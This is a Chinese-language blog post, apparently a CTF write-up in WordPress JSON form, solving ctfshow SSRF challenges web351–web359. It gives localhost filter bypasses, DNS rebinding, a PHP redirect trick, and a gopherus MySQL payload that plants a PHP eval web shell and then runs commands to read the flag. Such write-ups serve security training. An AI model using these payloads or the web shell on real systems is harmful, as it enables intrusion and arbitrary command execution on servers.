{"id":88,"date":"2026-05-18T23:02:19","date_gmt":"2026-05-18T15:02:19","guid":{"rendered":"https:\/\/mdhei.xyz\/?p=88"},"modified":"2026-05-20T22:40:47","modified_gmt":"2026-05-20T14:40:47","slug":"ctfshow-ssrf","status":"publish","type":"post","link":"https:\/\/mdhei.xyz\/index.php\/2026\/05\/18\/ctfshow-ssrf\/","title":{"rendered":"ctfshow ssrf"},"content":{"rendered":"\n<h2 id=\"web351web352\" class=\"wp-block-heading\">web351,web352<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u4f20127.0.0.1\/flag.php\u5c31\u53ef\u4ee5<\/p>\n\n\n\n<h2 id=\"web353\" class=\"wp-block-heading\">web353<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u7528http:\/\/127.1\/flag.php\u7ed5\u8fc7<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6216http:\/\/0\/flag.php<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">IPv4 \u5730\u5740\u672c\u8d28\u4e0a\u662f 4 \u4e2a\u5b57\u8282\uff0c\u8f6c\u6210\u5341\u8fdb\u5236\u6574\u6570\u65f6\uff0c\u5c31\u662f\u628a\u8fd9 4 \u4e2a\u5b57\u8282\u6309 256 \u8fdb\u5236\u5c55\u5f00<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6240\u4ee5\u53ef\u4ee5\u628a127.0.0.1\u8f6c\u4e3a10\u8fdb\u5236\u6574\u65702130706433\u5b9e\u73b0\u8fc7\u6ee4<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8f6c\u6362\u51fd\u6570\u5982\u4e0b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">def ip_int(addr: str) -&gt; int:<br>   res = 0<br>   for i in addr.split(&#8220;.&#8221;):<br>   res = res * 256 + int(i, 10)<br>   return res<\/p>\n\n\n\n<h2 id=\"web354\" class=\"wp-block-heading\">web354<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">DNS\u89e3\u6790\u7ed5\u8fc7\uff0c\u5e38\u89c1\u89e3\u6790\u5230127.0.0.1\u7684\u6709<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">lvh.me<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">localtest.me<\/p>\n\n\n\n<h2 id=\"web355\" class=\"wp-block-heading\">web355<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">http:\/\/0\/flag.php \u6216 http:\/\/127.1\/flag.php<\/p>\n\n\n\n<h2 id=\"web356\" class=\"wp-block-heading\">web356<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">http:\/\/0\/flag.php<\/p>\n\n\n\n<h2 id=\"web357\" class=\"wp-block-heading\">web357<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">DNS Rebinding\u653b\u51fb<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u627e\u5230\u4e00\u4e2a\u7f51\u7ad9<a href=\"https:\/\/lock.cmpxchg8b.com\/rebinder.html\">https:\/\/lock.cmpxchg8b.com\/rebinder.html<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/mdhei.xyz\/wp-content\/uploads\/2026\/05\/\u56fe\u7247-11-1024x284.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"284\" data-original=\"https:\/\/mdhei.xyz\/wp-content\/uploads\/2026\/05\/\u56fe\u7247-11-1024x284.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-93\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e00\u6b21\u89e3\u6790\u5230154.64.254.81<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e8c\u6b21file_get_contents\u89e3\u6790\u5230127.0.0.1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e5f\u53ef\u4ee5\u7528\u81ea\u5df1\u7684\u670d\u52a1\u5668<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u5728demo.php\u91cc\u5199\u5165<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&lt;?php<br>header(&#8220;Location: http:\/\/127.0.0.1\/flag.php&#8221;, true, 302);<br>exit;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e00\u6b21\u89e3\u6790\u7684\u662f\u81ea\u5df1\u670d\u52a1\u5668\u7684ip<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e8c\u6b21302\u8df3\u8f6c\u5230127.0.0.1<\/p>\n\n\n\n<h2 id=\"web358\" class=\"wp-block-heading\">web358<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">url=http:\/\/ctf.@127.0.0.1\/flag.php#show<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">URL \u91cc\u9664\u4e86\u6b63\u5e38\u57df\u540d\uff0c\u8fd8\u6709 userinfo \u8bed\u6cd5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">http:\/\/\u7528\u6237\u540d:\u5bc6\u7801@\u4e3b\u673a\/<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6216\u8005\u7b80\u5316\u6210\uff1a<br>http:\/\/\u7528\u6237\u540d@\u4e3b\u673a\/<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">#\u4ee3\u8868\u951a\u70b9\uff0c\u7ed9\u5ba2\u6237\u7aef\u81ea\u5df1\u5b9a\u4f4d\u9875\u9762\u5185\u90e8\u4f4d\u7f6e\u7528\u7684\uff0c\u4e0d\u4f1a\u53d1\u7ed9\u670d\u52a1\u5668\uff0c\u5b9e\u9645\u8bbf\u95ee\u7684\u5c31\u662f127.0.0.1\/flag.php<\/p>\n\n\n\n<h2 id=\"web359\" class=\"wp-block-heading\">web359<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u968f\u4fbf\u8f93\u5165\u7528\u6237\u540d\u548c\u5bc6\u7801\uff0c\u8df3\u8f6c\u5230check.php<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9875\u9762\u6ca1\u6709\u56de\u663e\uff0c\u770b\u4e86\u4e00\u4e0b\u8bf7\u6c42\u5934<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/mdhei.xyz\/wp-content\/uploads\/2026\/05\/\u56fe\u7247-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"350\" height=\"125\" data-original=\"https:\/\/mdhei.xyz\/wp-content\/uploads\/2026\/05\/\u56fe\u7247-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-102\"  sizes=\"auto, (max-width: 350px) 100vw, 350px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u6709\u7ed9returl\uff0c\u7ed3\u5408\u9898\u76ee\u63d0\u793a\u6253\u65e0\u5bc6\u7801\u7684mysql\uff0c\u5c1d\u8bd5\u7528gopher\u534f\u8bae\uff0cgopher:\/\/IP:PORT\/_\u539f\u59cb\u6570\u636e\uff08gopher\u5141\u8bb8\u6211\u4eec\u6307\u5b9a ip \uff0c\u7aef\u53e3\uff0c\u76f4\u63a5\u53d1\u9001TCP\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6307\u4ee4\u5982\u4e0b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">python2 gopherus.py &#8211;exploit mysql<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528\u6237\u540d\u8f93\u5165root<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5185\u5bb9\u586b\u4e00\u53e5\u8bdd\u6728\u9a6cselect &#8220;&lt;?php @eval($_POST[&#8216;cmd&#8217;]);?>&#8221; into outfile &#8216;\/var\/www\/html\/1.php&#8217;;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f46\u5185\u5bb9\u8fd8\u8981\u518durl\u7f16\u7801\u4e00\u6b21\uff0c\u9632\u6b62\u6570\u636e\u4e2d\u7684\u67d0\u4e9b\u7b26\u53f7\u7834\u574f\u7ed3\u6784<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u8bbf\u95ee1.php \u4f20cmd=system(&#8216;ls \/&#8217;);<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u770b\u5230flag.txt,\u4e8e\u662f\u518d\u4f20cmd=system(&#8216;cat \/flag.txt&#8217;);<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230flag<\/p>\n","protected":false},"excerpt":{"rendered":"<p>web351,web352 \u76f4\u63a5\u4f20127.0.0.1\/flag.php\u5c31\u53ef\u4ee5 web353 \u53ef\u4ee5\u7528http:\/ [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-88","post","type-post","status-publish","format-standard","hentry","category-web"],"_links":{"self":[{"href":"https:\/\/mdhei.xyz\/index.php\/wp-json\/wp\/v2\/posts\/88","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mdhei.xyz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mdhei.xyz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mdhei.xyz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mdhei.xyz\/index.php\/wp-json\/wp\/v2\/comments?post=88"}],"version-history":[{"count":8,"href":"https:\/\/mdhei.xyz\/index.php\/wp-json\/wp\/v2\/posts\/88\/revisions"}],"predecessor-version":[{"id":105,"href":"https:\/\/mdhei.xyz\/index.php\/wp-json\/wp\/v2\/posts\/88\/revisions\/105"}],"wp:attachment":[{"href":"https:\/\/mdhei.xyz\/index.php\/wp-json\/wp\/v2\/media?parent=88"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mdhei.xyz\/index.php\/wp-json\/wp\/v2\/categories?post=88"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mdhei.xyz\/index.php\/wp-json\/wp\/v2\/tags?post=88"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}